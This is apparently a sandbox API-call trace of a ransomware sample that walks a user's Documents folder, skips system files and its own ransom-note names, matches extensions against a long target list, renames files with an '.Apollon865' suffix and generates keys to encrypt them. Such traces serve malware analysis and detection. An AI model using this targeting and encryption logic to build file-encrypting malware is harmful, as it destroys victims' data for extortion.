	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1
	[0088.996] lstrlenW (lpString="mud") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1
	[0088.996] lstrlenW (lpString="mwb") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1
	[0088.997] lstrlenW (lpString="myd") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1
	[0088.997] lstrlenW (lpString="ndf") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1
	[0088.997] lstrlenW (lpString="nnt") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1
	[0088.997] lstrlenW (lpString="nrmlib") returned 6
	[0088.997] lstrcmpiW (lpString1="i.docx", lpString2="nrmlib") returned -1
	[0088.997] lstrlenW (lpString="ns2") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1
	[0088.997] lstrlenW (lpString="ns3") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1
	[0088.997] lstrlenW (lpString="ns4") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1
	[0088.997] lstrlenW (lpString="nsf") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1
	[0088.997] lstrlenW (lpString="nv") returned 2
	[0088.997] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1
	[0088.997] lstrlenW (lpString="nv2") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1
	[0088.997] lstrlenW (lpString="nwdb") returned 4
	[0088.997] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1
	[0088.997] lstrlenW (lpString="nyf") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1
	[0088.997] lstrlenW (lpString="odb") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0088.997] lstrlenW (lpString="odb") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0088.997] lstrlenW (lpString="oqy") returned 3
	[0088.997] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1
	[0088.998] lstrlenW (lpString="ora") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1
	[0088.998] lstrlenW (lpString="orx") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1
	[0088.998] lstrlenW (lpString="owc") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1
	[0088.998] lstrlenW (lpString="p96") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1
	[0088.998] lstrlenW (lpString="p97") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1
	[0088.998] lstrlenW (lpString="pan") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1
	[0088.998] lstrlenW (lpString="pdb") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1
	[0088.998] lstrlenW (lpString="pdm") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1
	[0088.998] lstrlenW (lpString="pnz") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1
	[0088.998] lstrlenW (lpString="qry") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1
	[0088.998] lstrlenW (lpString="qvd") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1
	[0088.998] lstrlenW (lpString="rbf") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1
	[0088.998] lstrlenW (lpString="rctd") returned 4
	[0088.998] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1
	[0088.998] lstrlenW (lpString="rod") returned 3
	[0088.998] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1
	[0088.998] lstrlenW (lpString="rodx") returned 4
	[0088.999] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1
	[0088.999] lstrlenW (lpString="rpd") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1
	[0088.999] lstrlenW (lpString="rsd") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1
	[0088.999] lstrlenW (lpString="sas7bdat") returned 8
	[0088.999] lstrcmpiW (lpString1="lai.docx", lpString2="sas7bdat") returned -1
	[0088.999] lstrlenW (lpString="sbf") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1
	[0088.999] lstrlenW (lpString="scx") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1
	[0088.999] lstrlenW (lpString="sdb") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1
	[0088.999] lstrlenW (lpString="sdc") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="sdc") returned -1
	[0088.999] lstrlenW (lpString="sdf") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1
	[0088.999] lstrlenW (lpString="sis") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1
	[0088.999] lstrlenW (lpString="spq") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1
	[0088.999] lstrlenW (lpString="te") returned 2
	[0088.999] lstrcmpiW (lpString1="cx", lpString2="te") returned -1
	[0088.999] lstrlenW (lpString="teacher") returned 7
	[0088.999] lstrcmpiW (lpString1="ai.docx", lpString2="teacher") returned -1
	[0088.999] lstrlenW (lpString="tmd") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1
	[0088.999] lstrlenW (lpString="tps") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1
	[0088.999] lstrlenW (lpString="trc") returned 3
	[0088.999] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0088.999] lstrlenW (lpString="trc") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0089.000] lstrlenW (lpString="trm") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1
	[0089.000] lstrlenW (lpString="udb") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1
	[0089.000] lstrlenW (lpString="udl") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1
	[0089.000] lstrlenW (lpString="usr") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1
	[0089.000] lstrlenW (lpString="v12") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1
	[0089.000] lstrlenW (lpString="vis") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1
	[0089.000] lstrlenW (lpString="vpd") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1
	[0089.000] lstrlenW (lpString="vvv") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1
	[0089.000] lstrlenW (lpString="wdb") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1
	[0089.000] lstrlenW (lpString="wmdb") returned 4
	[0089.000] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1
	[0089.000] lstrlenW (lpString="wrk") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1
	[0089.000] lstrlenW (lpString="xdb") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1
	[0089.000] lstrlenW (lpString="xld") returned 3
	[0089.000] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1
	[0089.000] lstrlenW (lpString="xmlff") returned 5
	[0089.000] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1
	[0089.000] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9wlbrD09iub lai.docx.Apollon865") returned 71
	[0089.000] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9wlbrD09iub lai.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9wlbrd09iub lai.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9wlbrD09iub lai.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9wlbrd09iub lai.docx.apollon865"), dwFlags=0x1) returned 1
	[0089.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9wlbrD09iub lai.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9wlbrd09iub lai.docx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0089.003] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=87599) returned 1
	[0089.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0089.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0089.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0089.003] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0089.004] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0089.004] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.004] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15930, lpName=0x0) returned 0x15c
	[0089.004] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15930) returned 0x120000
	[0089.008] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0089.009] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0089.009] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0089.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0089.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0089.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0089.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0089.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0089.009] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0089.010] CloseHandle (hObject=0x15c) returned 1
	[0089.010] CloseHandle (hObject=0x9c) returned 1
	[0089.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0089.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0089.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0089.012] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57dcc0, ftCreationTime.dwHighDateTime=0x1d50edb, ftLastAccessTime.dwLowDateTime=0x2e368280, ftLastAccessTime.dwHighDateTime=0x1d4f59a, ftLastWriteTime.dwLowDateTime=0x2e368280, ftLastWriteTime.dwHighDateTime=0x1d4f59a, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ABz2r6KKTt4.docx", cAlternateFileName="ABZ2R6~1.DOC")) returned 1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="Apollon865.txt.exe") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".") returned 1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="..") returned 1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="windows") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="bootmgr") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="temp") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="pagefile.sys") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="boot") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="ids.txt") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="ntuser.dat") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="perflogs") returned -1
	[0089.012] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2="MSBuild") returned -1
	[0089.012] lstrlenW (lpString="ABz2r6KKTt4.docx") returned 16
	[0089.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9wlbrD09iub lai.docx") returned 60
	[0089.012] lstrcpyW (in: lpString1=0x119e658, lpString2="ABz2r6KKTt4.docx" | out: lpString1="ABz2r6KKTt4.docx") returned="ABz2r6KKTt4.docx"
	[0089.013] lstrlenW (lpString="ABz2r6KKTt4.docx") returned 16
	[0089.013] lstrlenW (lpString="Apollon865") returned 10
	[0089.013] lstrcmpiW (lpString1="KKTt4.docx", lpString2="Apollon865") returned 1
	[0089.013] lstrlenW (lpString=".dll") returned 4
	[0089.013] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".dll") returned 1
	[0089.013] lstrlenW (lpString=".lnk") returned 4
	[0089.013] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".lnk") returned 1
	[0089.013] lstrlenW (lpString=".ini") returned 4
	[0089.013] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".ini") returned 1
	[0089.013] lstrlenW (lpString=".sys") returned 4
	[0089.013] lstrcmpiW (lpString1="ABz2r6KKTt4.docx", lpString2=".sys") returned 1
	[0089.013] lstrlenW (lpString="ABz2r6KKTt4.docx") returned 16
	[0089.013] lstrlenW (lpString="bak") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1
	[0089.013] lstrlenW (lpString="ba_") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1
	[0089.013] lstrlenW (lpString="dbb") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1
	[0089.013] lstrlenW (lpString="vmdk") returned 4
	[0089.013] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1
	[0089.013] lstrlenW (lpString="rar") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1
	[0089.013] lstrlenW (lpString="zip") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1
	[0089.013] lstrlenW (lpString="tgz") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1
	[0089.013] lstrlenW (lpString="vbox") returned 4
	[0089.013] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1
	[0089.013] lstrlenW (lpString="vdi") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1
	[0089.013] lstrlenW (lpString="vhd") returned 3
	[0089.013] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1
	[0089.013] lstrlenW (lpString="vhdx") returned 4
	[0089.013] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1
	[0089.013] lstrlenW (lpString="avhd") returned 4
	[0089.013] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1
	[0089.013] lstrlenW (lpString="db") returned 2
	[0089.014] lstrcmpiW (lpString1="cx", lpString2="db") returned -1
	[0089.014] lstrlenW (lpString="db2") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1
	[0089.014] lstrlenW (lpString="db3") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1
	[0089.014] lstrlenW (lpString="dbf") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1
	[0089.014] lstrlenW (lpString="mdf") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1
	[0089.014] lstrlenW (lpString="mdb") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1
	[0089.014] lstrlenW (lpString="sql") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1
	[0089.014] lstrlenW (lpString="sqlite") returned 6
	[0089.014] lstrcmpiW (lpString1="4.docx", lpString2="sqlite") returned -1
	[0089.014] lstrlenW (lpString="sqlite3") returned 7
	[0089.014] lstrcmpiW (lpString1="t4.docx", lpString2="sqlite3") returned 1
	[0089.014] lstrlenW (lpString="sqlitedb") returned 8
	[0089.014] lstrcmpiW (lpString1="Tt4.docx", lpString2="sqlitedb") returned 1
	[0089.014] lstrlenW (lpString="xml") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1
	[0089.014] lstrlenW (lpString="$er") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1
	[0089.014] lstrlenW (lpString="4dd") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1
	[0089.014] lstrlenW (lpString="4dl") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1
	[0089.014] lstrlenW (lpString="^^^") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1
	[0089.014] lstrlenW (lpString="abs") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1
	[0089.014] lstrlenW (lpString="abx") returned 3
	[0089.014] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1
	[0089.014] lstrlenW (lpString="accdb") returned 5
	[0089.014] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1
	[0089.014] lstrlenW (lpString="accdc") returned 5
	[0089.014] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1
	[0089.015] lstrlenW (lpString="accde") returned 5
	[0089.015] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1
	[0089.015] lstrlenW (lpString="accdr") returned 5
	[0089.015] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1
	[0089.015] lstrlenW (lpString="accdt") returned 5
	[0089.015] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1
	[0089.015] lstrlenW (lpString="accdw") returned 5
	[0089.015] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1
	[0089.015] lstrlenW (lpString="accft") returned 5
	[0089.015] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1
	[0089.015] lstrlenW (lpString="adb") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.015] lstrlenW (lpString="adb") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.015] lstrlenW (lpString="ade") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1
	[0089.015] lstrlenW (lpString="adf") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1
	[0089.015] lstrlenW (lpString="adn") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1
	[0089.015] lstrlenW (lpString="adp") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1
	[0089.015] lstrlenW (lpString="alf") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1
	[0089.015] lstrlenW (lpString="ask") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1
	[0089.015] lstrlenW (lpString="btr") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1
	[0089.015] lstrlenW (lpString="cat") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1
	[0089.015] lstrlenW (lpString="cdb") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1
	[0089.015] lstrlenW (lpString="ckp") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1
	[0089.015] lstrlenW (lpString="cma") returned 3
	[0089.015] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1
	[0089.015] lstrlenW (lpString="cpd") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1
	[0089.016] lstrlenW (lpString="dacpac") returned 6
	[0089.016] lstrcmpiW (lpString1="4.docx", lpString2="dacpac") returned -1
	[0089.016] lstrlenW (lpString="dad") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1
	[0089.016] lstrlenW (lpString="dadiagrams") returned 10
	[0089.016] lstrcmpiW (lpString1="KKTt4.docx", lpString2="dadiagrams") returned 1
	[0089.016] lstrlenW (lpString="daschema") returned 8
	[0089.016] lstrcmpiW (lpString1="Tt4.docx", lpString2="daschema") returned 1
	[0089.016] lstrlenW (lpString="db-journal") returned 10
	[0089.016] lstrcmpiW (lpString1="KKTt4.docx", lpString2="db-journal") returned 1
	[0089.016] lstrlenW (lpString="db-shm") returned 6
	[0089.016] lstrcmpiW (lpString1="4.docx", lpString2="db-shm") returned -1
	[0089.016] lstrlenW (lpString="db-wal") returned 6
	[0089.016] lstrcmpiW (lpString1="4.docx", lpString2="db-wal") returned -1
	[0089.016] lstrlenW (lpString="dbc") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1
	[0089.016] lstrlenW (lpString="dbs") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1
	[0089.016] lstrlenW (lpString="dbt") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1
	[0089.016] lstrlenW (lpString="dbv") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1
	[0089.016] lstrlenW (lpString="dbx") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1
	[0089.016] lstrlenW (lpString="dcb") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1
	[0089.016] lstrlenW (lpString="dct") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1
	[0089.016] lstrlenW (lpString="dcx") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1
	[0089.016] lstrlenW (lpString="ddl") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1
	[0089.016] lstrlenW (lpString="dlis") returned 4
	[0089.016] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1
	[0089.016] lstrlenW (lpString="dp1") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1
	[0089.016] lstrlenW (lpString="dqy") returned 3
	[0089.016] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1
	[0089.017] lstrlenW (lpString="dsk") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1
	[0089.017] lstrlenW (lpString="dsn") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1
	[0089.017] lstrlenW (lpString="dtsx") returned 4
	[0089.017] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1
	[0089.017] lstrlenW (lpString="dxl") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1
	[0089.017] lstrlenW (lpString="eco") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1
	[0089.017] lstrlenW (lpString="ecx") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1
	[0089.017] lstrlenW (lpString="edb") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1
	[0089.017] lstrlenW (lpString="epim") returned 4
	[0089.017] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1
	[0089.017] lstrlenW (lpString="fcd") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1
	[0089.017] lstrlenW (lpString="fdb") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1
	[0089.017] lstrlenW (lpString="fic") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1
	[0089.017] lstrlenW (lpString="flexolibrary") returned 12
	[0089.017] lstrcmpiW (lpString1="r6KKTt4.docx", lpString2="flexolibrary") returned 1
	[0089.017] lstrlenW (lpString="fm5") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1
	[0089.017] lstrlenW (lpString="fmp") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1
	[0089.017] lstrlenW (lpString="fmp12") returned 5
	[0089.017] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1
	[0089.017] lstrlenW (lpString="fmpsl") returned 5
	[0089.017] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1
	[0089.017] lstrlenW (lpString="fol") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1
	[0089.017] lstrlenW (lpString="fp3") returned 3
	[0089.017] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1
	[0089.017] lstrlenW (lpString="fp4") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1
	[0089.018] lstrlenW (lpString="fp5") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1
	[0089.018] lstrlenW (lpString="fp7") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1
	[0089.018] lstrlenW (lpString="fpt") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1
	[0089.018] lstrlenW (lpString="frm") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1
	[0089.018] lstrlenW (lpString="gdb") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0089.018] lstrlenW (lpString="gdb") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0089.018] lstrlenW (lpString="grdb") returned 4
	[0089.018] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1
	[0089.018] lstrlenW (lpString="gwi") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1
	[0089.018] lstrlenW (lpString="hdb") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1
	[0089.018] lstrlenW (lpString="his") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1
	[0089.018] lstrlenW (lpString="ib") returned 2
	[0089.018] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1
	[0089.018] lstrlenW (lpString="idb") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1
	[0089.018] lstrlenW (lpString="ihx") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1
	[0089.018] lstrlenW (lpString="itdb") returned 4
	[0089.018] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1
	[0089.018] lstrlenW (lpString="itw") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1
	[0089.018] lstrlenW (lpString="jet") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1
	[0089.018] lstrlenW (lpString="jtx") returned 3
